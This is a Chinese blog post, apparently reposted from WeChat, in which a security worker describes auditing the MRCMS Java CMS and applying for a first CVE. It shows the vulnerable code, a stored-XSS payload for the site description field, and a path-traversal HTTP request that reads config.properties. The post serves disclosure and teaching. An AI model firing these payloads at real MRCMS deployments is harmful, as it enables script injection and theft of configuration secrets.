记录第一次申请CVE编号过程
作为一个安服仔突发奇想去申请个CVE编号,大型的CMS代码太多了太复杂,我们就选一些小的CMS的来代码审计获取CVE编号。
漏洞很水,但是自己的首个CVE还是有纪念意义的。
MRCMS:
https://gitee.com/marker/MRCMS
存储型xss
代码路径:
MRCMSsrcmainjavaorgmarkermushroomcontrollerSystemController.java
从代码中 syscfg.set
方法写入配置信息,跟进行看看set方法
/**
* 设置配置key = val
* @param key 键
* @param val 值
*/
public void set(String key, String val) {
if(val == null){
val = "";
}
this.properties.put(key, val);
}
set
方法是直接写入内容,没有任意过滤,所以导致xss漏洞产生
在后台网站描述中添加xss代码
"><img src=1 onerror=alert(/xss/)>
任意文件读取漏洞
存在漏洞代码路径 :
MRCMSsrcmainjavaorgmarkermushroomcontrollerFileController.java
/**
* 编辑文本文件
* @param path
* @param name
* @return
*/
public ModelAndView edit( String path, String name){
ModelAndView view = new ModelAndView(this.viewPath + "edit");
File file = new File(WebRealPathHolder.REAL_PATH + encoding(path + File.separator + name));
try {
view.addObject("data", FileTools.getFileContet(file, FileTools.FILE_CHARACTER_UTF8));
} catch (IOException e) {
e.printStackTrace();
}
view.addObject("path", encoding(path));
view.addObject("name", encoding(name));
return view;
}
跟进 FileTools.getFileContet
方法
/**
* 获取文本文件内容
* @param filePath 文件路径
* @param character 字符编码
* @return String 文件文本内容
* @throws IOException
* */
public static final String getFileContet(File filePath,String character) throws IOException{
return FileTools.getContent(filePath, character);
}
方法中调用了getContent
方法,接着跟进
//内部处理文件方法
private static String getContent(File filePath, String character) throws IOException{
FileInputStream __fis = new FileInputStream(filePath);//文件字节流
return getStreamContent(__fis, character);//返回文件内容
}
从上面分析代码中是直接获取文件内容,并且没有对文件路径进行判断,导致可以跨目录读取文件
请求包
GET /admin/file/edit.do?path=../resources/config.properties&name= HTTP/1.1
Host: 127.0.0.1:8080
Referer: http://127.0.0.1:8080/admin/index.do
Sec-Fetch-Dest: empty
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Mode: cors
X-Requested-With: XMLHttpRequest
提交CVE
提交CVE前,还得去查一下,挖掘的漏洞有没有被提交CVE https://cve.mitre.org/cve/search_cve_list.html
接着就提交申请
https://cveform.mitre.org/
提交后就会收到一封邮件,然后就等待审核分配CVE编号
差不多一个月就收到CVE编号了
原文始发于微信公众号(安全逐梦人):记录第一次申请CVE编号过程
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论